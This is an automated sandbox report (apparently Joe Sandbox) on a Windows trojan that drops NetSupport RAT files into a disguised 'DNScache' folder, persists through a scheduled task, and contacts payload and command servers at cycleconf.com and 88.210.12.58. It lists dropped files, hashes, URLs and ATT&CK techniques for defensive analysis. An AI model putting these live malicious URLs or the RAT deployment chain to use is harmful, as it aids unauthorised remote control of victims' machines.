Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Windows Service	2 Valid Accounts	4 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Input Capture	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 Service Execution	1 Scheduled Task/Job	21 Access Token Manipulation	1 Software Packing	NTDS	45 System Information Discovery	Distributed Component Object Model	3 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Windows Service	1 Timestomp	LSA Secrets	251 Security Software Discovery	SSH	Keylogging	4 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	323 Process Injection	1 DLL Side-Loading	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	1 Scheduled Task/Job	1 Masquerading	DCSync	41 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	2 Valid Accounts	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	41 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	21 Access Token Manipulation	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	323 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	1 Hidden Files and Directories	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
Jjv9ha2GKn.exe	47%	ReversingLabs	Win32.Trojan.Jalapeno
Jjv9ha2GKn.exe	100%	Avira	TR/Kryptik.qykkd
Jjv9ha2GKn.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\DNScache\AudioCapture.dll	3%	ReversingLabs
C:\Users\user\AppData\Local\DNScache\HTCTL32.DLL	3%	ReversingLabs
C:\Users\user\AppData\Local\DNScache\PCICHEK.DLL	3%	ReversingLabs
C:\Users\user\AppData\Local\DNScache\PCICL32.DLL	17%	ReversingLabs
C:\Users\user\AppData\Local\DNScache\TCCTL32.DLL	3%	ReversingLabs
C:\Users\user\AppData\Local\DNScache\client32.exe	21%	ReversingLabs
C:\Users\user\AppData\Local\DNScache\msauserext.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\DNScache\mscat32.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\DNScache\mscpx32r.dLL	0%	ReversingLabs
C:\Users\user\AppData\Local\DNScache\mscpxl32.dLL	0%	ReversingLabs
C:\Users\user\AppData\Local\DNScache\msvcp140_1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\DNScache\msvcp140_codecvt_ids.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\DNScache\msvcr100.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\DNScache\neth.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\DNScache\netmsg.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\DNScache\pcicapi.dll	3%	ReversingLabs
C:\Users\user\AppData\Local\DNScache\remcmdstub.exe	5%	ReversingLabs

Source	Detection	Scanner	Label
https://cycleconf.com/dwnld/2nd2_4.zip2	0%	Avira URL Cloud	safe
https://cycleconf.com/dwnld/2nd2_1.zip2	0%	Avira URL Cloud	safe
https://cycleconf.com/dwnld/2nd2_2.zip5	0%	Avira URL Cloud	safe
http://127.0.0.1	0%	Avira URL Cloud	safe
https://cycleconf.com/dwnld/2nd2_4.zip	100%	Avira URL Cloud	phishing
http://88.210.12.58/fakeurl.htm	0%	Avira URL Cloud	safe
http://www.crossteccorp.com	0%	Avira URL Cloud	safe
https://cycleconf.com/Q)	0%	Avira URL Cloud	safe
https://cycleconf.com/dwnld/2nd2_1.zip	100%	Avira URL Cloud	phishing
https://cycleconf.com/dwnld/2nd2_1.zipLhttps://cycleconf.com/dwnld/2nd2_2.zipLhttps://cycleconf.com/	0%	Avira URL Cloud	safe
https://cycleconf.com/dwnld/2nd2_2.zip	100%	Avira URL Cloud	phishing
http://geo.netsupportsoftware.comlocation/loca.asp	0%	Avira URL Cloud	safe
http://crl.microso8	0%	Avira URL Cloud	safe
https://cycleconf.com/Z)	0%	Avira URL Cloud	safe
https://cycleconf.com/dwnld/2nd2_3.zip	100%	Avira URL Cloud	phishing

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
geo.netsupportsoftware.com	104.26.0.231	true	false	high
ganeres1.com	88.210.12.58	true	true	unknown
cycleconf.com	23.254.224.41	true	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://geo.netsupportsoftware.com/location/loca.asp	false		high
https://cycleconf.com/dwnld/2nd2_4.zip	false	Avira URL Cloud: phishing	unknown
http://88.210.12.58/fakeurl.htm	true	Avira URL Cloud: safe	unknown
https://cycleconf.com/dwnld/2nd2_1.zip	false	Avira URL Cloud: phishing	unknown
https://cycleconf.com/dwnld/2nd2_2.zip	false	Avira URL Cloud: phishing	unknown
https://cycleconf.com/dwnld/2nd2_3.zip	false	Avira URL Cloud: phishing	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.netsupportsoftware.com	PCICL32.DLL.4.dr	false		high
https://cycleconf.com/dwnld/2nd2_1.zip2	AddInProcess32.exe, 00000004.00000002.2880341312.0000000001028000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://secure.globalsign.net/cacert/ObjectSign.crt09	AddInProcess32.exe, 00000004.00000002.2880341312.000000000108F000.00000004.00000020.00020000.00000000.sdmp, client32.exe.4.dr	false		high
http://www.pci.co.uk/support	client32.exe, 00000007.00000002.3304306206.00000000111DC000.00000004.00000001.01000000.0000000E.sdmp, client32.exe, 00000009.00000002.2889855835.00000000111DC000.00000004.00000001.01000000.0000000E.sdmp, PCICL32.DLL.4.dr	false		high
http://%s/testpage.htmwininet.dll	client32.exe, 00000007.00000002.3304754604.000000006CD80000.00000002.00000001.01000000.00000012.sdmp, HTCTL32.DLL.4.dr	false		high
https://cycleconf.com/dwnld/2nd2_4.zip2	AddInProcess32.exe, 00000004.00000002.2880341312.0000000001028000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://geo.netsupportsoftware.com/location/loca.aspSetChannel(%s)	client32.exe, 00000007.00000002.3304252601.000000001118F000.00000002.00000001.01000000.0000000E.sdmp, client32.exe, 00000009.00000002.2889815261.000000001118F000.00000002.00000001.01000000.0000000E.sdmp, PCICL32.DLL.4.dr	false		high
http://www.pci.co.uk/supportsupport	client32.exe, 00000007.00000002.3304306206.00000000111DC000.00000004.00000001.01000000.0000000E.sdmp, client32.exe, 00000009.00000002.2889855835.00000000111DC000.00000004.00000001.01000000.0000000E.sdmp, PCICL32.DLL.4.dr	false		high
http://www.crossteccorp.com	AddInProcess32.exe, 00000004.00000002.2880341312.000000000108F000.00000004.00000020.00020000.00000000.sdmp, client32.exe.4.dr, TCCTL32.DLL.4.dr	false	Avira URL Cloud: safe	unknown
http://ocsp.thawte.com0	TCCTL32.DLL.4.dr, PCICL32.DLL.4.dr	false		high
http://127.0.0.1RESUMEPRINTING	client32.exe, 00000007.00000002.3304252601.000000001118F000.00000002.00000001.01000000.0000000E.sdmp, client32.exe, 00000009.00000002.2889815261.000000001118F000.00000002.00000001.01000000.0000000E.sdmp, PCICL32.DLL.4.dr	false		high
http://%s/testpage.htm	client32.exe, client32.exe, 00000007.00000002.3304754604.000000006CD80000.00000002.00000001.01000000.00000012.sdmp, HTCTL32.DLL.4.dr	false		high
https://cycleconf.com/Q)	AddInProcess32.exe, 00000004.00000002.2880341312.0000000001063000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cycleconf.com/dwnld/2nd2_2.zip5	AddInProcess32.exe, 00000004.00000002.2880341312.0000000001028000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://geo.netsupportsoftware.com	client32.exe, 00000007.00000002.3302419274.0000000002375000.00000004.00000020.00020000.00000000.sdmp	false		high
http://127.0.0.1	client32.exe, client32.exe, 00000009.00000002.2889815261.000000001118F000.00000002.00000001.01000000.0000000E.sdmp, PCICL32.DLL.4.dr	false	Avira URL Cloud: safe	unknown
http://www.symauth.com/cps0(	AddInProcess32.exe, 00000004.00000002.2880341312.000000000108F000.00000004.00000020.00020000.00000000.sdmp, PCICHEK.DLL.4.dr, AudioCapture.dll.4.dr, HTCTL32.DLL.4.dr, pcicapi.dll.4.dr	false		high
http://geo.netsupportsoftware.com/location/loca.asplB.bg1	client32.exe, 00000007.00000002.3301652835.00000000004FE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.globalsign.net/repository/0	AddInProcess32.exe, 00000004.00000002.2880341312.000000000108F000.00000004.00000020.00020000.00000000.sdmp, client32.exe.4.dr	false		high
http://%s/fakeurl.htm	client32.exe, client32.exe, 00000007.00000002.3304754604.000000006CD80000.00000002.00000001.01000000.00000012.sdmp, HTCTL32.DLL.4.dr	false		high
https://cycleconf.com/dwnld/2nd2_1.zipLhttps://cycleconf.com/dwnld/2nd2_2.zipLhttps://cycleconf.com/	AddInProcess32.exe, 00000004.00000002.2880341312.0000000001020000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://secure.globalsign.net/cacert/PrimObject.crt0	AddInProcess32.exe, 00000004.00000002.2880341312.000000000108F000.00000004.00000020.00020000.00000000.sdmp, client32.exe.4.dr	false		high
http://geo.netsupportsoftware.com/location/loca.aspe	client32.exe, 00000007.00000003.3181897720.0000000003349000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000007.00000002.3303235612.0000000003349000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000007.00000003.3182065927.0000000003349000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.thawte.com/ThawteTimestampingCA.crl0	TCCTL32.DLL.4.dr, PCICL32.DLL.4.dr	false		high
http://www.symauth.com/rpa00	AddInProcess32.exe, 00000004.00000002.2880341312.000000000108F000.00000004.00000020.00020000.00000000.sdmp, PCICHEK.DLL.4.dr, AudioCapture.dll.4.dr, HTCTL32.DLL.4.dr, pcicapi.dll.4.dr	false		high
http://geo.netsupportsoftware.comlocation/loca.asp	client32.exe, 00000007.00000002.3302419274.0000000002375000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.globalsign.net/repository09	AddInProcess32.exe, 00000004.00000002.2880341312.000000000108F000.00000004.00000020.00020000.00000000.sdmp, client32.exe.4.dr	false		high
http://www.netsupportschool.com/tutor-assistant.asp11(	client32.exe, 00000007.00000002.3304306206.00000000111DC000.00000004.00000001.01000000.0000000E.sdmp, client32.exe, 00000009.00000002.2889855835.00000000111DC000.00000004.00000001.01000000.0000000E.sdmp, PCICL32.DLL.4.dr	false		high
http://crl.microso8	AddInProcess32.exe, 00000004.00000002.2880341312.00000000010E9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cycleconf.com/Z)	AddInProcess32.exe, 00000004.00000002.2880341312.0000000001063000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://geo.netsupportsoftware.com/location/loca.asph	client32.exe, 00000007.00000002.3301652835.00000000004D1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.netsupportschool.com/tutor-assistant.asp	client32.exe, 00000007.00000002.3304306206.00000000111DC000.00000004.00000001.01000000.0000000E.sdmp, client32.exe, 00000009.00000002.2889855835.00000000111DC000.00000004.00000001.01000000.0000000E.sdmp, PCICL32.DLL.4.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
88.210.12.58	ganeres1.com	Russian Federation	25308	CITYLAN-ASRU	true
23.254.224.41	cycleconf.com	United States	54290	HOSTWINDSUS	false
104.26.0.231	geo.netsupportsoftware.com	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1572207
Start date and time:	2024-12-10 08:56:19 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Jjv9ha2GKn.exe renamed because original name is a hash value
Original Sample Name:	6ba3976f8956dceb2903dc89b9b66c3d81ceb93566b6244b58c4929a454815c0.exe
Detection:	MAL
Classification:	mal100.rans.troj.evad.winEXE@9/27@3/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 84% Number of executed functions: 202 Number of non-executed functions: 61
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.218.208.109, 13.107.246.63, 172.202.163.200
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Jjv9ha2GKn.exe

Simulations

Behavior and APIs

Time	Type	Description
02:57:13	API Interceptor	267x Sleep call for process: Jjv9ha2GKn.exe modified
02:59:06	API Interceptor	51x Sleep call for process: client32.exe modified
08:58:35	Task Scheduler	Run new task: DNScache path: C:\Users\user\AppData\Local\DNScache\client32.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
88.210.12.58	5q1Wm5VlqL.exe	Get hash	malicious	NetSupport RAT	Browse	http://88.210.12.58/fakeurl.htm
23.254.224.41	5q1Wm5VlqL.exe	Get hash	malicious	NetSupport RAT	Browse
104.26.0.231	file.exe	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	Pyyidau.vbs	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	file.exe	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	file.exe	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	KC0uZWwr8p.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	geo.netsupportsoftware.com/location/loca.asp
	KC0uZWwr8p.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	geo.netsupportsoftware.com/location/loca.asp
	hkpqXovZtS.exe	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	file.exe	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	qvoLvRpRbr.msi	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	EMX97rT0GX.msi	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
geo.netsupportsoftware.com	5q1Wm5VlqL.exe	Get hash	malicious	NetSupport RAT	Browse	104.26.1.231
	Update.js	Get hash	malicious	NetSupport RAT	Browse	104.26.1.231
	file.exe	Get hash	malicious	NetSupport RAT	Browse	104.26.0.231
	file.exe	Get hash	malicious	NetSupport RAT	Browse	104.26.1.231
	Pyyidau.vbs	Get hash	malicious	NetSupport RAT	Browse	104.26.1.231
	Pyyidau.vbs	Get hash	malicious	NetSupport RAT	Browse	104.26.0.231
	file.exe	Get hash	malicious	NetSupport RAT	Browse	104.26.0.231
	file.exe	Get hash	malicious	NetSupport RAT	Browse	104.26.0.231
	KC0uZWwr8p.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	104.26.0.231
ganeres1.com	5q1Wm5VlqL.exe	Get hash	malicious	NetSupport RAT	Browse	88.210.12.58
cycleconf.com	5q1Wm5VlqL.exe	Get hash	malicious	NetSupport RAT	Browse	23.254.224.41

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
HOSTWINDSUS	5q1Wm5VlqL.exe	Get hash	malicious	NetSupport RAT	Browse	23.254.224.41
	xd.mpsl.elf	Get hash	malicious	Mirai	Browse	142.11.240.128
	loligang.arm.elf	Get hash	malicious	Mirai	Browse	192.119.104.64
	loligang.ppc.elf	Get hash	malicious	Mirai	Browse	142.11.240.155
	ppc.elf	Get hash	malicious	Mirai	Browse	23.254.189.226
	mpsl.elf	Get hash	malicious	Mirai	Browse	23.254.189.241
	ppc.elf	Get hash	malicious	Unknown	Browse	192.236.246.50
	sora.spc.elf	Get hash	malicious	Mirai	Browse	23.254.189.223
	https://dragonfly.cloudstore.business/file/d/1iZ8GX_NkrnJvRM8atkT-YMQtlk0GchX1/view?usp=sharing_eil_m&ts=98923449	Get hash	malicious	Unknown	Browse	104.168.157.45
	https://0nline.hrdocuments.online/?K2dM=7XW	Get hash	malicious	Unknown	Browse	142.11.210.61
CITYLAN-ASRU	5q1Wm5VlqL.exe	Get hash	malicious	NetSupport RAT	Browse	88.210.12.58
	OocBsRyXoT.elf	Get hash	malicious	Gafgyt, Mirai	Browse	212.118.43.167
	HNzkADzkE2.elf	Get hash	malicious	Gafgyt, Mirai	Browse	212.118.43.167
	arm5.elf	Get hash	malicious	Gafgyt, Mirai	Browse	212.118.43.167
	x86.elf	Get hash	malicious	Mirai	Browse	212.118.43.167
	arm7.elf	Get hash	malicious	Mirai	Browse	212.118.43.167
	file.exe	Get hash	malicious	Unknown	Browse	88.210.6.42
	file.exe	Get hash	malicious	Unknown	Browse	88.210.6.42
	0tGEmgFUHk.elf	Get hash	malicious	Unknown	Browse	212.118.43.167
	lhZOo8vhuI.elf	Get hash	malicious	Unknown	Browse	212.118.43.167
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.80.1
	Valutazione della sicurezza IT - Azione urgente richiesta.html	Get hash	malicious	Unknown	Browse	104.16.117.116
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.1
	matchingwithbestthingstobegreatforentirelifegivenmebestthignsevergive.hta	Get hash	malicious	Cobalt Strike, Remcos, HTMLPhisher	Browse	104.21.84.67
	SC3sPWT51E.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.161.29
	4C1bAkWboc.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.70.164
	SC3sPWT51E.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.65
	ro7MnkIxJk.exe	Get hash	malicious	LummaC	Browse	104.21.29.214
	DqEJwd61Uw.exe	Get hash	malicious	Zhark RAT	Browse	104.21.74.110
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.16.1

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	n09qkE6r6n.lnk	Get hash	malicious	Unknown	Browse	23.254.224.41
	DqEJwd61Uw.exe	Get hash	malicious	Zhark RAT	Browse	23.254.224.41
	List of required items and services pdf.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	23.254.224.41
	Revo.Uninstaller.Pro.v5.3.4.exe	Get hash	malicious	Unknown	Browse	23.254.224.41
	Revo.Uninstaller.Pro.v5.3.4.exe	Get hash	malicious	Unknown	Browse	23.254.224.41
	http://crissertaoericardo.com.br/images/document.pif.rar	Get hash	malicious	GuLoader	Browse	23.254.224.41
	tQoSuhQIdC.msi	Get hash	malicious	Unknown	Browse	23.254.224.41
	A8Uynu9lwi.lnk	Get hash	malicious	Unknown	Browse	23.254.224.41
	MsmxWY8nj7.exe	Get hash	malicious	RHADAMANTHYS	Browse	23.254.224.41
	ZAMOWIEN.EXE.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	23.254.224.41

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\DNScache\AudioCapture.dll	5q1Wm5VlqL.exe	Get hash	malicious	NetSupport RAT	Browse
	KC0uZWwr8p.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse
	KC0uZWwr8p.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse
	hkpqXovZtS.exe	Get hash	malicious	NetSupport RAT	Browse
	CiscoSetup.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse
	CiscoSetup.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse
	CiscoSetup.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse
	CiscoSetup.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse
	Advanced_IP_Scanner_2.5.4594.12.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse
	Advanced_IP_Scanner_2.5.4594.12.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\DNScache\AudioCapture.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	93560
Entropy (8bit):	6.5461580255883876
Encrypted:	false
SSDEEP:	1536:wrOxDJs/Ksdl0R1dBmhFXxRpP9JNvbnPUGI:3yXlQmhhHp9J9bnPTI
MD5:	4182F37B9BA1FA315268C669B5335DDE
SHA1:	2C13DA0C10638A5200FED99DCDCF0DC77A599073
SHA-256:	A74612AE5234D1A8F1263545400668097F9EB6A01DFB8037BC61CA9CAE82C5B8
SHA-512:	4F22AD5679A844F6ED248BF2594AF94CF2ED1E5C6C5441F0FB4DE766648C17D1641A6CE7C816751F0520A3AE336479C15F3F8B6EBE64A76C38BC28A02FF0F5DC
Malicious:	false
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Local\DNScache\AudioCapture.dll, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Joe Sandbox View:	Filename: 5q1Wm5VlqL.exe, Detection: malicious, Browse Filename: KC0uZWwr8p.exe, Detection: malicious, Browse Filename: KC0uZWwr8p.exe, Detection: malicious, Browse Filename: hkpqXovZtS.exe, Detection: malicious, Browse Filename: CiscoSetup.exe, Detection: malicious, Browse Filename: CiscoSetup.exe, Detection: malicious, Browse Filename: CiscoSetup.exe, Detection: malicious, Browse Filename: CiscoSetup.exe, Detection: malicious, Browse Filename: Advanced_IP_Scanner_2.5.4594.12.exe, Detection: malicious, Browse Filename: Advanced_IP_Scanner_2.5.4594.12.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........in.:n.:n.:g.6:\|.:g. :".:g.':J.:g.0:i.:n.:5.:g.):i.:g.1:o.:p.7:o.:g.2:o.:Richn.:........PE..L......U...........!.........j.......S............0.................................5f..............................@..-...."..P....P..X............D..x)...`..4...p...................................@...............@............................text............................... ..`.rdata..m;.......<..................@..@.data........0......................@....rsrc...X....P.......$..............@..@.reloc..T....`.......,..............@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\DNScache\HTCTL32.DLL

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	328056
Entropy (8bit):	6.754723001562745
Encrypted:	false
SSDEEP:	6144:2ib5YbsXPKXd6ppGpwpbGf30IVFpSzyaHx3/4aY5dUilQpAf84lH0JYBAnM1OK/Y:2ib5YbsXioEgULFpSzya9/lY5SilQCfg
MD5:	2D3B207C8A48148296156E5725426C7F
SHA1:	AD464EB7CF5C19C8A443AB5B590440B32DBC618F
SHA-256:	EDFE2B923BFB5D1088DE1611401F5C35ECE91581E71503A5631647AC51F7D796
SHA-512:	55C791705993B83C9B26A8DBD545D7E149C42EE358ECECE638128EE271E85B4FDBFD6FBAE61D13533BF39AE752144E2CC2C5EDCDA955F18C37A785084DB0860C
Malicious:	false
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Local\DNScache\HTCTL32.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ ...A...A...A.......A...9...A...A..gA....1..A....0.A.......A.......A.......A..Rich.A..........PE..L.....V...........!.................Z.......................................P......=G....@......................... ...k....y..x.......@...............x).......0..................................._..@............................................text............................... ..`.rdata..............................@..@.data....f.......(...v..............@....rsrc...@...........................@..@.reloc..b1.......2..................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\DNScache\NSM.LIC

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	259
Entropy (8bit):	5.058986594877512
Encrypted:	false
SSDEEP:	6:O/oP54xRPjwxVshvydDKHMoEEjLgpW2MWMf651XZNWYpPM/iooZa8l6i7s:X0R7wxQJjjqW2MWMf65TNBPM/io98l6J
MD5:	1DC87146379E5E3F85FD23B25889AE2A
SHA1:	B750C56C757AD430C9421803649ACF9ACD15A860
SHA-256:	F7D80E323E7D0ED1E3DDD9B5DF08AF23DCECB47A3E289314134D4B76B3ADCAF2
SHA-512:	7861ABE50EEFDF4452E4BAACC4B788895610196B387B70DDEAB7BC70735391ED0A015F47EADA94A368B82F8E5CEDB5A2096E624F4A881FF067937AD159E3562C
Malicious:	false
Preview:	1200..0xdb3e38e....; NetSupport License File...; Generated on 00:48 - 19/03/2014........[[Enforce]]....[_License]..control_only=0..expiry=..inactive=0..licensee=MGJFFRT466..maxslaves=100000..os2=1..product=10..serial_no=NSM301071..shrink_wrap=0..transport=0..

C:\Users\user\AppData\Local\DNScache\PCICHEK.DLL

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18808
Entropy (8bit):	6.22028391196942
Encrypted:	false
SSDEEP:	192:1ANeiOT8Z2b6SoVF6RRHaPrpF3o47jtd3hfwHjvud3hfwx7bjuh:1ANt+E2exrpxTSDuTuih
MD5:	A0B9388C5F18E27266A31F8C5765B263
SHA1:	906F7E94F841D464D4DA144F7C858FA2160E36DB
SHA-256:	313117E723DDA6EA3911FAACD23F4405003FB651C73DE8DEFF10B9EB5B4A058A
SHA-512:	6051A0B22AF135B4433474DC7C6F53FB1C06844D0A30ED596A3C6C80644DF511B023E140C4878867FA2578C79695FAC2EB303AEA87C0ECFC15A4AD264BD0B3CD
Malicious:	false
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Local\DNScache\PCICHEK.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......sv..7.d.7.d.7.d.,...5.d.,...4.d.>o..0.d.7.e...d.,...3.d.,...6.d.,...6.d.,...6.d.Rich7.d.........PE..L...f..U...........!......................... ...............................`............@.........................p"..a.... ..P....@............... ..x)...P......@ ............................................... ..@............................text...$........................... ..`.rdata....... ......................@..@.data........0......................@....rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................................................

